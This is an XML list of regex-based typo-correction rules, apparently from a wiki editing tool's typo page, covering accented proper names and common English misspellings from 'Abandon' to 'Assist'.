<Typo word="Valentine's Day" find="\b[vV]alentine(?:s(?:[´ˈ׳᾿‘’′Ꞌꞌ`']s?)\s+[dD]|\s+[dD]|[´ˈ׳᾿‘’′Ꞌꞌ`']s\s+d)ay\b" replace="Valentine's Day"/>
<Typo word="Catholic_" find="\bcatholic(ism|s)\b(?![^\s\.]*\.\w)" replace="Catholic$1"/><!--avoid potential FP catholic; avoid domains-->
<Typo word="Christian" find="\bchristian(i[stz][a-ln-z]+|s?)\b(?![^\s\.]*\.\w)" replace="Christian$1"/><!--avoid domains-->
<Typo word="Christmas Day" find="\b[cC]hristmas\s+day\b(?![^\s\.]*\.\w)" replace="Christmas Day"/><!--avoid domains-->
<Typo word="Christmas Eve" find="\b[cC]hristmas\s+eve\b(?![^\s\.]*\.\w)" replace="Christmas Eve"/><!--avoid domains-->
<Typo word="Roman Catholic" find="\b(?:Roman(?:[cC]|-\s*[cC]|\s+c)|roman-?\s*[cC])at(?:holi?|oli)c([a-z]*)\b" replace="Roman Catholic$1"/>
</source>
====New accents and diacritical marks====
<source lang="xml">
<Typo disabled="Guaraní" find="\bGuarani\b(?![^\s\.]*\.\w)" replace="Guaraní"/><!--avoid domains-->
<Typo word="Courage Compétition" find="\bCourage\s+Competition\b" replace="Courage Compétition"/>
<Typo disabled="à la" find="\b(?!ala)(?:[áa]\s*|à)l[àáa]\b" replace="à la"/><!--disabled, many false positives-->
<Typo word="Janelle Monáe" find="\bJanelle\s+Monae\b" replace="Janelle Monáe"/>
<Typo word="École nationale supérieure des Beaux-Arts" find="\b(?:Ecole [nN]ationale [sS]up[eé]rieure des [bB]eaux[−―–—\s][aA]|École (?:Nationale [sS]up[eé]rieure des [bB]eaux[−―–—\s][aA]|nationale Sup[eé]rieure des [bB]eaux[−―–—\s][aA])|École nationale sup(?:erieure des [bB]eaux[−―–—\s][aA]|érieure des (?:beaux[−―–—\s][aA]|Beaux(?: [aA]|-a))))rts?\b" replace="École nationale supérieure des Beaux-Arts"/>
<Typo word="Roman à clef" find="\b([rR])oman(s)?[−―–—\s]+[aàáAÁÀ][−―–—\s]+[cC]l[eé]f?\b(?<!omans? à clef)" replace="$1oman$2 à clef"/>
<Typo word="Ürümqi" find="\bUrumqi\b(?<!2729\s+Urumqi)" replace="Ürümqi"/><!--avoid 2729 Urumqi-->
<Typo word="Jägermeister" find="\b[jJ]ae?g+ermeister\b" replace="Jägermeister"/>
<Typo word="Porfirio Díaz" find="\bPorfirio Diaz\b" replace="Porfirio Díaz"/>
<Typo word="Pokémon" find="\b[pP]ok[eèẽē][´ˈ׳᾿‘’′Ꞌꞌ`;']?mon\b(?![^\s\.]*\.\w)" replace="Pokémon"/><!--avoid domains-->
<Typo word="Musée" find="\bMusee\s+(d(?:e (Cluny|l[´ˈ׳᾿‘’′Ꞌꞌ`']Homme)|u L(ouvre|uxembourg)|[´ˈ׳᾿‘’′Ꞌꞌ`']Orsay)|Guimet)\b" replace="Musée $1"/>
<Typo disabled="Brasília" find="\bBrasilia\b(?<!(?:E(?:mbraer|MB 120)|Volkswagen|Wésley)\sBrasilia)" replace="Brasília"/>
<Typo word="Luiz Inácio Lula da Silva" find="\bLuiz Inacio Lula da Silva\b" replace="Luiz Inácio Lula da Silva"/>
<Typo word="Hugo Chávez" find="\bHugo\s+Chavez\b" replace="Hugo Chávez"/>
<Typo word="Tabaré Vázquez" find="\bTabare\s+Vazquez\b" replace="Tabaré Vázquez"/>
<Typo word="Perón" find="\b(Eva|Isabel|Juan(?: Domingo)?)\s+Peron\b" replace="$1 Perón"/>
<Typo word="Académie française" find="\bAcad(?:émie\s+(?:Fran[cç]aise?|fran(?:çais|caise?))|emie\s+[fF]ran[cç]aise?)\b" replace="Académie française"/>
<Typo word="Alain Juppé" find="\bAlain\s+Juppe\b" replace="Alain Juppé"/>
<Typo word="Ancien Régime" find="\bAncien(?:t\s+[rR][ée]|\s+(?:r[ée]|Re))gime\b" replace="Ancien Régime"/>
<Typo word="Angoulême" find="\bAngouleme\b" replace="Angoulême"/>
<Typo word="Āniwaniwa" find="\bAniwaniwa\b" replace="Āniwaniwa"/>
<Typo word="Bézier" find="\bB[eè]zier(s)?\b" replace="Bézier$1"/>
<Typo word="* Brontë" find="\b(Anne|Branwell|Charlotte|Emily|Patrick)\s+Bronte\b" replace="$1 Brontë"/>
<Typo word="Brontë *" find="\bBronte\s+([fF]amily|[sS]isters)\b" replace="Brontë $1"/>
<Typo word="Chambéry" find="\bChambery\b" replace="Chambéry"/>
<Typo word="Côte ..." find="\bCote\s+(Chalonnaise|d(?:e(?:s Landes|\s+B(?:eaune|rouilly)|Granit|Nuits)|[´ˈ׳᾿‘’′Ꞌꞌ`'](?:A(?:rgent|zur)|O(?:pale|r)))|Fleurie|Saint-Luc|Vermeille)\b" replace="Côte $1"/>
<Typo word="Côte-" find="\bCote-(d(?:e(?:s-Neiges|-Beaupré)|[´ˈ׳᾿‘’′Ꞌꞌ`'](?:Aime|Or)|u-Poivre)|Nord|Rôtie|Saint-(?:André|Paul)|Vertu)\b" replace="Côte-$1"/>
<Typo word="Côtes" find="\bCotes\s+d(e\s+(?:Bourg|Duras|Gascogne|Toul)|u\s+(?:Marmandais|Rh[ôo]ne|Ventoux))\b" replace="Côtes d$1"/>
<Typo word="Der Freischütz" find="\bDer\s+Freischutz\b" replace="Der Freischütz"/>
<Typo word="Dürrenmatt" find="\bD(?:ür(?:en?|ren)|ue?rr?en?)nmatt?\b" replace="Dürrenmatt"/>
<Typo word="Düssel-" find="\b[dD]ussel(dorf[a-z]*|tal)\b" replace="Düssel$1"/>
<Typo word="É-" find="\bE(c(?:harcon|ollemont|riennes|u(?:eil|ry))|gly|p(?:e(?:nse|rn(?:ay|on))|inay|oye)|t(?:ampes(?<!10374 Etampes)|iolles|oges|r(?:échy|epy))|vr(?:eux|y))\b" replace="É$1"/><!--avoid minor planet 10374 Etampes-->
<Typo word="Eugène ..." find="\b[eE]ug[ée]ne\s+(Delacroix|Ionesco|Labiche|Marin\s+Labiche)\b" replace="Eugène $1"/>
<Typo word="Ferenc Molnár" find="\b[fF]erenc\s+[mM]olnar\b" replace="Ferenc Molnár"/>
<Typo word="Franche-Comté" find="\bFranche(?:\s+Comt[eé]|-+Comte)\b" replace="Franche-Comté"/>
<Typo word="Göttingen" find="\bGottingen\b" replace="Göttingen"/>
<Typo word="Köppen climate classification" find="\b[kK]oppen\s+climate\s+classification\b" replace="Köppen climate classification"/>
<Typo word="Květa Peschke" find="\bKveta\s+Peschke\b" replace="Květa Peschke"/>
<Typo word="León" find="\b(Castile(-|\s+and\s+)|(?:Alfonso\s+(?:I(?:II|[VX])|V)|Kingdom|Province)\s+of\s+|Juan Ponce de\s+)Leon\b" replace="$1León"/>
<Typo word="Leoš Janáček" find="\bLeos\s+Jan[aàäãǎāăá][cč]ek\b" replace="Leoš Janáček"/>
<Typo word="Médaille militaire" find="\bM(?:[eèê]dail+e\s+[mM]|édail+e\s+M)il+itaire\b" replace="Médaille militaire"/>
<Typo word="Mel Tormé" find="\bMel\s+Torm[èe]\b" replace="Mel Tormé"/>
<Typo word="Mérida" find="\bM[èe]rida\b" replace="Mérida"/>
<Typo word="Müllerian" find="\b[mM]ullerian\s+(agene[a-z]*|[dD]ucts?|hormones?|[iI]nhib[a-z]+|mimic[a-z]*|tumors?)\b" replace="Müllerian $1"/>
<Typo word="-nçon" find="\b(Ale|Besa)ncon\b" replace="$1nçon"/>
<Typo word="Neue Zürcher Zeitung" find="\bNeue\s+Zurcher\s+Zeitung\b" replace="Neue Zürcher Zeitung"/>
<Typo word="Nîmes" find="\bNimes\b" replace="Nîmes"/>
<Typo word="Nuevo León" find="\bNuevo\s+Leon\b" replace="Nuevo León"/>
<Typo word="Ōkārito" find="\bOkarito\b" replace="Ōkārito"/>
<Typo word="Pâté" find="\bpat[èeé](s)?\b(?<!\bbald\s+pate)" replace="pâté$1"/><!--avoid surname Pate or Paté, avoid bald pate-->
<Typo word="Périg(ord/(u)eux)" find="\bP[èe]rig(eux|ord|ueux)\b" replace="Périg$1"/>
<Typo word="Provençal" find="\bProvencal\b" replace="Provençal"/>
<Typo word="Querétaro" find="\bQuer[èe]taro\b" replace="Querétaro"/>
<Typo word="Saarbrücken" find="\bSaarbrucken\b" replace="Saarbrücken"/>
<Typo word="San Luis Potosí" find="\bSan\s+Luis\s+Potosi\b" replace="San Luis Potosí"/>
<Typo word="Saône" find="\bSaone\b" replace="Saône"/>
<Typo word="Süddeutsche Zeitung" find="\bSuddeutsche\s+Zeitung\b" replace="Süddeutsche Zeitung"/>
<Typo word="Teatro Colón" find="\b[tT]eatro\s+[cC]olon\b" replace="Teatro Colón"/>
<Typo word="Telefónica" find="\bTelefonica\b" replace="Telefónica"/>
<Typo word="Tübingen" find="\b[tT]ubingen\b" replace="Tübingen"/>
<Typo word="Yucatán" find="\bYucatan\b" replace="Yucatán"/>
</source>
===A===
<source lang="xml">
<Typo word="Abandon" find="\b([aA])(?:bo|dba)ndon+([a-z]*)\b" replace="$1bandon$2"/>
<Typo word="Abbreviate" find="\b([aA])b(?:b+ri|r[ie])viat([a-z]+)\b" replace="$1bbreviat$2"/>
<Typo word="Aberrant/Aberration" find="\b([aA])b(?:ber?|e)ra([nt][a-z]+)(?<!Aberangell)\b" replace="$1berra$2"/>
<Typo word="Absence" find="\b([aA])bs(?:cen[cs]|ens)e(s)?\b" replace="$1bsence$2"/>
<Typo word="Absorb" find="\b([aA])sb?orb([a-z]*)\b" replace="$1bsorb$2"/>
<Typo word="Absorption" find="\b([aA])bsorb[st]i(on|ve)\b" replace="$1bsorpti$2"/>
<Typo word="Abyssinia" find="\b[aA]b(?:bys+in?|ys(?:in?|sin))nia(ns?)?\b" replace="Abyssinia$1"/>
<Typo word="Academy" find="\b([aA])c(?:ad(?:a?|a(?=me))|cad(?:[ae]|de)|edd?e)m+e?(i(?:c(?:ally|s?)|es?)|y)\b" replace="$1cadem$2"/>
<Typo word="(Ac/De)celerate" find="\b([aA]c|[dD]e)(?:cel|el?)lerat([a-z]+)\b" replace="$1celerat$2"/>
<Typo word="Access_" find="(?!\b[aA]ces\b)\b([aA]|[iI]na)c(?:ces(?:ss+)?|es+)(ar[a-z]+|e[ds]|i(?:b[a-z]+|ng|on[a-z]*|ve)|or[a-z]+)?\b" replace="$1ccess$2"/><!--avoid matching aces-->
<Typo word="(In)Accessible" find="\b([aA]|[iI]na)c+es+ab(ilit(?:ies|y)|l[ey])\b" replace="$1ccessib$2"/>
<Typo word="Acclaim" find="\b([aA])claim(ed)?\b" replace="$1cclaim$2"/>
<Typo word="(Un)Acceptable" find="\b([aA]|[uU]na)c(?:cep(?:[ai]|ti)|ep(?:[ai]|t[ai]))bl([ey])\b" replace="$1cceptabl$2"/>
<Typo word="Accession" find="\b([aA])sc+es+[io]{2}n\b" replace="$1ccession"/>
<Typo word="Acclimatise" find="\b([aA])c+limiti([sz](?:ation|e[ds]?|ing))\b" replace="$1cclimati$2"/>
<Typo word="Accommodate" find="\b([aA])c(?:com(?:[aeo]?|m[ae]?)|om+[aeo]?)dat([a-z]+)\b" replace="$1ccommodat$2"/>
<Typo word="Accompanied" find="\b([aA])c+ompa(?:in+|nn)[iy]?e?([ds])\b" replace="$1ccompanie$2"/>
<Typo word="According" find="\b([aA])ccoring(ly)?\b" replace="$1ccording$2"/>
<Typo word="Accordion" find="\b([aA])c+ord(?:eo|ia)n(s)?\b" replace="$1ccordion$2"/>
<Typo word="(Un)Account" find="\b([aA]|[uU]na)cco[nu]t(a(?:bl[ey]|n(?:cy|ts?))|ed|ing|s?)\b" replace="$1ccount$2"/>
<Typo word="Accus(e/tom)" find="\b([aA])c(?:c+us|us?)s(a(?:ble|l|t(?:i(?:ons?|ves?)|or[a-z]*))|e[drs]?|ing|tom(?:ed|s?))\b" replace="$1ccus$2"/>
<Typo word="(Over/Under)Achieve" find="\b([aA]|[oO]vera|[uU]ndera)ch(?:eie?|i(?:ei)?)v(abl[ey]|e[a-z]*|ing)\b" replace="$1chiev$2"/>
<Typo word="Acquire" find="\b([aA])(?:cq[iu]|qcui)(r(?:e[drs]?|ing)|siti(?:ons?|ve(?:ly)?))\b" replace="$1cqui$2"/>
<Typo word="Acquit" find="\b([aA])c?quitt+(s)?\b" replace="$1cquit$2"/>
<Typo word="Acquittal" find="\b([aA])c?qui(?:tt)?t(a(?:ls?|nces?)|ed|ing)\b" replace="$1cquitt$2"/>
<Typo word="Across" find="\b([aA])c(?:c(?:or|ro)|or)s[st]\b" replace="$1cross"/>
<Typo word="Actual" find="\b([aA])cut?al([a-z]*)\b" replace="$1ctual$2"/>
<Typo word="Adaptation" find="\b([aA])dapa(?:ta)?tion([a-z]*)\b" replace="$1daptation$2"/>
<Typo word="Address" find="\b([aA])d+res(ab[il][a-z]+|e(?:[ds]|[er]s?)|ing)?\b" replace="$1ddress$2"/>
<Typo word="(In)Adequate" find="\b([aA]|[iI]na)d[ai]?quate(ly)?\b" replace="$1dequate$2"/>
<Typo word="Administer" find="\b([aA])dmin(?:i(?:nste?r|str)|ster)(ed|ing|s?)\b" replace="$1dminister$2"/>
<Typo word="Administrate" find="\b([aA])(?:dmi(?:n(?:i(?:ni?s)?|s)|s)|minis)trat([a-z]+)\b" replace="$1dministrat$2"/>
<Typo word="Admission" find="\b([aA])ddmiss?i(b(?:ility|le)|ons?)\b" replace="$1dmissi$2"/>
<Typo word="Adopt" find="\b([aA])d(?:dopt|op)(ed|i(?:ng|ons?|ve)|s?)\b" replace="$1dopt$2"/>
<Typo word="Adultery" find="\b([aA])dultr(at(?:e[ds]?|i(?:ng|on))|er|ous|y)\b" replace="$1dulter$2"/>
<Typo word="Advance" find="\b([aA])davanc(e(?:[ds]?|ments?)|ing)\b" replace="$1dvanc$2"/>
<Typo word="Adventurous" find="\b([aA])dventrous\b" replace="$1dventurous"/>
<Typo word="Advertise" find="\b([aA])dvertie?s([ds]|ments?|rs?)\b" replace="$1dvertise$2"/>
<Typo word="Advertising" find="\b([aA])dvertsing\b" replace="$1dvertising"/>
<Typo word="Advocate" find="\b([aA])dovc?at(e[ds]?|i(?:ng|on)|ory?)\b" replace="$1dvocat$2"/>
<Typo word="Aerial" find="\b([aA])eriel(ly|s?)\b" replace="$1erial$2"/>
<Typo word="Aesthetic" find="\b([aA])(?:e(?:sthe(?:ci|tia)|thesti)|sthe(?:ci|tia?))c(al(?:l+y|y)?|s?)\b" replace="$1esthetic$2"/>
<Typo word="Affidavit" find="\b([aA])ffadavit(s)?\b" replace="$1ffidavit$2"/>
<Typo word="(Dis/Un)Affiliate" find="\b([aA]|disa|una)f(?:(?:il(?:i?|li?)|f(?:il(?:li?)?|l(?:i(?:li?)?|li))|l(?:i(?:li?)?|li))a|filai)t(e[ds]?|i(?:ng|ons?))\b" replace="$1ffiliat$2"/>
<Typo word="Afghani" find="\b[aA]f(?:fg(?:ah?|ha)|gah?)ni(s(?:tan)?)?\b" replace="Afghani$1"/><!--cap. of correct spelling is handled under "Afghanistan"-->
<Typo word="Aficionado" find="\b([aA])ffici[ao]nado(s)?\b" replace="$1ficionado$2"/>
<Typo word="Aforementioned" find="\b([aA])for(?:emem?|me[mn])tioned\b" replace="$1forementioned"/>
<Typo word="Afrikaner" find="\b([aA])fri[ck]aaner(s)?\b" replace="$1frikaner$2"/>
<Typo word="After" find="\b([aA])f[ft]ter\b" replace="$1fter"/>
<Typo word="Against" find="\b([aA])g(?:a(?:i(?:n(?:[in]st|ts?)|sn?t)|ni?st)|ia?nst)\b" replace="$1gainst"/>
<Typo word="Aggravate" find="\b([aA])g(?:[ae]re|g[ae]?re|r[aei])vat([a-z]+)\b" replace="$1ggravat$2"/>
<Typo word="Aggregate" find="\b([aA])g(?:greg|reg?)gat(e(?:[ds]?|ly)|i(?:ng|ve)|or)\b" replace="$1ggregat$2"/>
<!--avoid agregation (professional exam/degree in the French system)-->
<Typo word="Aggression" find="\b([aA])g(?:gre|res?)s(i(?:ons?|ve[a-z]*)|ors?)\b" replace="$1ggress$2"/>
<Typo word="Aggrieve" find="\b([aA])g(?:grei|r(?:ei|ie))v(e[ds]?|ing)\b" replace="$1ggriev$2"/>
<Typo word="(Dis)Agree" find="\b(A(?!gre\b)|a|[dD]isa)g(?:gre+|re(?:ee)?)(abl[ey]|[ds]?|ing|ments?)\b" replace="$1gree$2"/><!--avoid Agre-->
<Typo word="Air-" find="\b([aA])r?i(b(?:ags?|oats?)|cr(?:afts?|ews?)|d(?:ate|rops?)|f(?:ares?|lows?|oils?)|glow|h(?:eads?|oles?)|i(?:est|ngs?)|l(?:ess|i(?:fts?|kes?|ne(?:rs?|s?)))|m(?:a(?:il|n)|en)(?<!Aiman)|p(?:arks?|la(?:nes?|y)|o(?:[rs]ts?))|s(?:h(?:eds?|ips?|o[tw]s?)|ick|pace)|ti(?:mes?|ng)|w(?:a(?:rds?|ves?|ys?)|ise|om[ae]n))\b" replace="$1ir$2"/><!--avoid given name Aiman-->
<Typo word="Airborne" find="\bairbourne?\b" replace="airborne"/><!--avoid Airbourne, a band-->
<Typo word="Aircraft" find="\b([aA])ir(?:c|rcr)ar?ft(s)?\b" replace="$1ircraft$2"/>
<Typo word="Albeit" find="\b([aA])l(?:bie|lb(?:ei|ie))t\b" replace="$1lbeit"/>
<Typo word="Alcohol" find="\b([aA])l(?:c(?:aho|h(?:aho|o(?:h[ao])?)|oha)|ocho)l(i(?:cs?|sm)|s?)\b" replace="$1lcohol$2"/>
<Typo word="Algorithm" find="\b([aA])lgorh?itm(ic|s?)\b" replace="$1lgorithm$2"/>
<Typo word="Alienate" find="\b([aA])lientat(e[ds]?|i(?:ng|on))\b" replace="$1lienat$2"/>
<Typo word="(Mis/Re)Align" find="\b([aA]|[mM]isa|[rR]ea)llign(ed|ing|ments?|s?)\b" replace="$1lign$2"/>
<Typo word="All intents and purposes" find="\b([aA])ll\s+intensive\s+purposes\b" replace="$1ll intents and purposes"/>
<Typo word="Allege" find="\b([aA])l+edg(e(?:d(?:ly)?|s?)|ing)\b" replace="$1lleg$2"/>
<Typo word="Allegedly" find="\b([aA])l+ed?ge?[dl]e?y\b" replace="$1llegedly"/>
<Typo word="Alleviate" find="\b([aA])l+iviat(e[ds]?|i(?:ng|on)|or)\b" replace="$1lleviat$2"/>
<Typo word="Almost" find="\b([aA])l(?:mso|oms)t\b" replace="$1lmost"/>
<Typo word="alma mater" find="\b([hH](?:er\s+|is\s+))\bAlma\s+Mater\b" replace="$1alma mater"/>
<Typo word="Along with" find="\b([aA])long\-?with\b" replace="$1long with"/>
<Typo word="Alpha" find="\b([aA])plha([a-z]*)\b" replace="$1lpha$2"/>
<Typo word="Already" find="\b([aA])(?:l+r(?:ae?d+y|e(?:a(?:d|yd?)|d(?:ay|d+y|y)))|ready)\b" replace="$1lready"/>
<Typo word="Also_" find="\baslo\b" replace="also"/>
<Typo word="Alternative" find="\b([aA])lternitive([lsy]*)\b" replace="$1lternative$2"/>
<Typo word="Although" find="\b([aA])l(?:hought?|t(?:hought|ought?))\b" replace="$1lthough"/>
<Typo word="Alumni" find="\b([aA])lumi?nis\b" replace="$1lumni"/>
<Typo word="Alumnus" find="\b([aA])lmun(ae?|i|us)\b" replace="$1lumn$2"/>
<Typo word="Alumnus_" find="\b([aA])lumin(ae|i|us)\b" replace="$1lumn$2"/>
<Typo word="An alumnus of" find="\b([aA])n?\s+[aA]lumi?ni\s+of\b" replace="$1n alumnus of"/>
<Typo word="Always" find="\b([aA])l+(?:sways|w(?:as?y|[ty]as))\b(?<!Alway)" replace="$1lways"/><!--avoid surname Alway-->
<Typo word="Amalgam" find="\b([aA])malg[ou]m(at(?:e[ds]?|i(?:ng|on))|s?)\b" replace="$1malgam$2"/>
<Typo word="Amateur" find="\b([aA])m+(?:atu(?:er|re)|et(?:eur|u(?:er|re))|it(?:eur|u(?:er|re))|ot(?:eur|u(?:er|re))|ut(?:eur|u(?:er|re)))([a-z]*)\b" replace="$1mateur$2"/>
<Typo word="Ambidextrous" find="\b([aA])mbi?dextero?us(ly)?\b" replace="$1mbidextrous$2"/>
<Typo word="Ambiguous" find="\b([aA]|[uU]na)mbigi?ous(ly|ness)?\b" replace="$1mbiguous$2"/>
<Typo word="(Ambi/Pre)valent" find="\b([aA]mbi|[pP]re)v(?:ala|el[ae])n([ct][a-z]*)\b" replace="$1valen$2"/>
<Typo word="Amend" find="\b([aA])dmend(a(?:ble|tory)|ed|ing|ments?|s?)\b" replace="$1mend$2"/>
<Typo word="Ammunition" find="\b([aA])m+untion(s)?\b" replace="$1mmunition$2"/>
<Typo word="Amock" find="\b([aA])m[o]ck\b" replace="$1mok"/><!-- Amuck is valid https://www.merriam-webster.com/dictionary/amuck-->
<Typo word="Among" find="\b([aA])mo?ung(st)?\b" replace="$1mong$2"/>
<Typo word="Amongst" find="\b([aA])mon(?:ge)?st\b" replace="$1mongst"/>
<Typo word="Amount" find="\b([aA])mout(ed|ing|s?)\b" replace="$1mount$2"/>
<Typo word="(A/Be)musement" find="\b([aA]|[bB]e)mus(?:em|me)nt(s)?\b" replace="$1musement$2"/>
<Typo word="Anaerobic" find="\b([aA])nerob(es?|ic[a-z]*)\b" replace="$1naerob$2"/>
<Typo word="Ancestor" find="\b([aA])nsest[eo]r(s)?\b" replace="$1ncestor$2"/>
<Typo word="Ancestry" find="\b([aA])ncest(?:[eo]r|ri)(al|ies|y)\b" replace="$1ncestr$2"/>
<Typo word="Ancient" find="\b([aA])(?:cie|nce?ia?)nt(s)?\b" replace="$1ncient$2"/>
<Typo word="Ancillary" find="\b([aA])ncill?iary\b" replace="$1ncillary"/>
<Typo word="Anemone" find="\b([aA])nenome(s)?\b" replace="$1nemone$2"/>
<Typo word="Annihilate" find="\b([aA])n(?:hili|ihili|n(?:hil(?:i?|l+)|ihili))at([a-z]+)\b" replace="$1nnihilat$2"/>
<Typo word="Announcement" find="\b([aA])n+oun?cment(s)?\b" replace="$1nnouncement$2"/>
<Typo word="Annul" find="\b([aA])n+ull(ar|ments?|s?)\b" replace="$1nnul$2"/>
<Typo word="Annulled" find="\b([aA])n(?:nu|ul)l(ed|ing)\b" replace="$1nnull$2"/>
<Typo word="Anoint" find="\b([aA])nnoint(ed|ings?|ments?|s?)\b" replace="$1noint$2"/>
<Typo word="Anomaly" find="\b([aA])nom(?:al|o)l(ies|ous[a-z]*|y)\b" replace="$1nomal$2"/>
<Typo word="Antarctic_" find="\b([aA])ntartic(a)?\b(?<![sS]infonia\s{1,9})[aA]ntartica?" replace="$1ntarctic$2"/><!--avoid 'Sinfonia antartica'-->
<Typo word="Anthropomorphic" find="\b([aA])nthromorphi([a-z]+)\b" replace="$1nthropomorphi$2"/>
<Typo word="(Anti/Hypo/Paren)thesis" find="\b([aA]nti|[hH]ypo|[pP]aren)th[ai]s(es|i(?:s(?:e[drs]?)?|ze[drs]?))\b" replace="$1thes$2"/>
<Typo word="Antonín Dvořák" find="\b[aA]nton[ií]n\s+[dD]vo(?:r[aá]|řa)k\b" replace="Antonín Dvořák"/>
<Typo word="Anything" find="\b([aA])n(?:tyth|yty)ing\b" replace="$1nything"/>
<Typo word="Apart/aside from" find="\b([aA](?:part|side))\s+form\b" replace="$1 from"/>
<Typo word="Apartheid" find="\b([aA])parteid\b" replace="$1partheid"/>
<Typo word="Apennine" find="\b[aA]p(?:e|pen?)nin(es?|us)\b" replace="Apennin$1"/>
<Typo word="Apocalypse" find="\b([aA])pocolyp(ses?|tic[a-z]*)\b" replace="$1pocalyp$2"/>
<Typo word="(Un)Apolog(y/etic)" find="\b([aA]|[uU]na)p(?:ol[ae]|pol[aeo])g(etics?|i(?:as?|es|sts?|ze[ds]?)|ues?|y)\b" replace="$1polog$2"/>
<Typo word="Apparel" find="\b([aA])p(?:arr?[ae]|par(?:a|r[ae]))l(ed|ing|l(?:ed|ing)|s?)\b" replace="$1pparel$2"/>
<Typo word="Apparent" find="\b([aA])p(?:ar(?:[ai]|r+[aei])|ea?r[aei]|p+(?:ar(?:[ai]|r+[aei])|ea?r[aei]))nt(ly)?\b" replace="$1pparent$2"/>
<Typo word="(Un)Appealing" find="\b([aA]|[uU]na)p+ealling\b" replace="$1ppealing"/>
<Typo word="(Dis/Re)Appearance" find="\b([aA]|[dD]isa|[rR]ea)p(?:e(?:area?|ra)|p(?:e(?:area?|ra)|reara)|reara)nce(s)?\b" replace="$1ppearance$2"/>
<Typo word="Appellate" find="\b([aA])ppelat(e|i[a-z]+)\b" replace="$1ppellat$2"/>
<Typo word="Application" find="\b([aA])pplicaiton(s)?\b" replace="$1pplication$2"/>
<Typo word="(Dis)Appoint" find="\b([dD]is)?s?([aA])(?:(?:sp*)?point|ppoitn?)([a-z]*)\b" replace="$1$2ppoint$3"/>
<Typo word="(Ap/De)preciate" find="\b([aA]p|[dD]e)pr(?:e(?:acia|cai)|i(?:c(?:ai|ia)|ecia))([a-z]+)\b" replace="$1precia$2"/>
<Typo word="Approaches" find="\b([aA])p+roach([ds])\b" replace="$1pproache$2"/>
<Typo word="(In)Appropriate" find="\b([aA]|[iI]na)p(?:prop(?:ia|r(?:ai?|opia))|ropri?a)t([a-z]+)\b" replace="$1ppropriat$2"/>
<Typo word="Approximate" find="\b([aA])p+rox(?:am[ai]|i(?:a(?:m[ai]|tema)?|m[im]|om[ai])|om[ai])t([a-z]+)\b" replace="$1pproximat$2"/>
<Typo word="Approximately" find="\b([aA])p+[or]+x+[aei]*m+[aeilt]{2,7}y(?<![aA]pproximately)\b" replace="$1pproximately"/>
<Typo word="Aqueduct_" find="\b([aA])quaduct(s)?(?<!Mental\s{1,9}[aA]quaducts?)\b" replace="$1queduct$2"/>
<Typo word="Arbitrary" find="\b([aA])r?b(?:ita|r(?:bitr?e|it(?:a|ra)))r(i(?:ly|ness)|y)\b" replace="$1rbitrar$2"/>
<Typo word="Arboretum" find="\b([aA])rbo(?:ri|ure)tum\b" replace="$1rboretum"/>
<Typo word="Archetype" find="\b([aA])rchi?typ(al|es?|ic[a-z]*)\b" replace="$1rchetyp$2"/>
<Typo word="Archimedean" find="\b[aA]rch[ai]median\b" replace="Archimedean"/>
<Typo word="Architect" find="\b([aA])(?:rch(?:ec?|ic|oc?)te(?:ch?t?|t)|chitect)(s?|ur[a-z]+)\b" replace="$1rchitect$2"/>
<Typo word="Architectural" find="\b([aA])rchitectual(ly)?\b" replace="$1rchitectural$2"/>
<Typo word="Architecture" find="\b([aA])rch[ei](?:ctec(?:ht?|t)|te(?:c(?:ht?)?|t))ur([a-z]+)\b" replace="$1rchitectur$2"/>
<Typo word="Argument" find="\b([aA])rguement(ive|s?|a(?:ti(?:on|ve(?:ly)?))?|um)\b" replace="$1rgument$2"/>
<Typo word="Armistice" find="\b([aA])rm(?:ast[ai]|ista)[cs]e(s)?\b" replace="$1rmistice$2"/>
<Typo word="Arose" find="\b([aA])rised\b(?<!\bha(?:[ds]|ve)\s+[aA]rised)" replace="$1rose"/>
<Typo word="Arisen" find="\b([aA])rised\b(?<=\bha(?:[ds]|ve)\s+[aA]rised)" replace="$1risen"/>
<Typo word="Around_" find="(?!\bAroud\b)\b([aA])r(?:o(?:[nu]d|u(?:dn|nf))|ro(?:nd|un?d)|und)\b" replace="$1round"/><!--avoid name/city Aroud-->
<Typo word="Article" find="\b([aA])rt(?:cile|i(?:c[ae]l?|lce))(s)?\b" replace="$1rticle$2"/>
<Typo word="Artillery" find="\b([aA])rtil(?:[ae]|la)r+y\b" replace="$1rtillery"/>
<Typo word="Artist" find="\b([aA])r(?:iti?s|tsi)t(ic(?:ally)?|s?)\b" replace="$1rtist$2"/>
<Typo word="Ascend" find="\b([aA])(?:cce|sece)n(d(?:ed|ing|s?)|sions?)\b" replace="$1scen$2"/>
<Typo word="Ascetic" find="\b([aA])setic(ally|ism|s?)\b" replace="$1scetic$2"/>
<Typo word="Aside" find="\b([aA])sside\b" replace="$1side"/>
<Typo word="Asphyxiate" find="\b([aA])sphyxai?t(e[ds]?|i(?:ng|on))\b" replace="$1sphyxiat$2"/>
<Typo word="Assassin" find="\b([aA])s+as(?:[ai]|sa)n(at(?:e[ds]?|ions?)|s?)\b" replace="$1ssassin$2"/>
<Typo word="Assassinate" find="\b([aA])ss(?:asi|is)nat(e[ds]?|ions?)\b" replace="$1ssassinat$2"/>
<Typo word="Assassinated" find="\b([aA])ssasined\b" replace="$1ssassinated"/>
<Typo word="Assassination" find="\b([aA])ssassintation\b" replace="$1ssassination"/>
<Typo word="Assault" find="\b([aA])s(?:au|s[su]a?)lt(ed|ing|s?)\b" replace="$1ssault$2"/>
<Typo word="(Dis/Re)Assemble" find="\b([aA]|[dD]isa|[rR]ea)s(?:embe?|semp)l([a-z]+)\b" replace="$1ssembl$2"/>
<Typo word="(As/Re/Reas)sembly" find="\b([aA]s|[rR]e(?:as)?)sembel(ance|ed|ing|y)\b" replace="$1sembl$2"/>
<Typo word="Assertion" find="\b([aA])ssertati(ons?|ve[a-z]*)\b" replace="$1sserti$2"/>
<Typo word="Assess(ed/ment)" find="\b([aA])sses(ed|ment)\b" replace="$1ssess$2"/>
<Typo word="Assign" find="\b([aA])sign(ed|ing|ments?|s?)\b" replace="$1ssign$2"/>
<Typo word="Assign_" find="\b([aA])ss(?:ing|s+ign)(ed|ing|ments?|s)\b" replace="$1ssign$2"/><!--avoid Assing-->
<Typo word="Assist" find="\b([aA])s(?:is+|si(?:ss)?)t(an(?:ce|ts?)|ed|ing|s?)\b" replace="$1ssist$2"/>
<Typo word="(As/Re)sistant" find="\b([aA]s|[rR]e)s?i(?:s+te|t[ae])n(ces?|t[a-z]*)\b" replace="$1sistan$2"/>
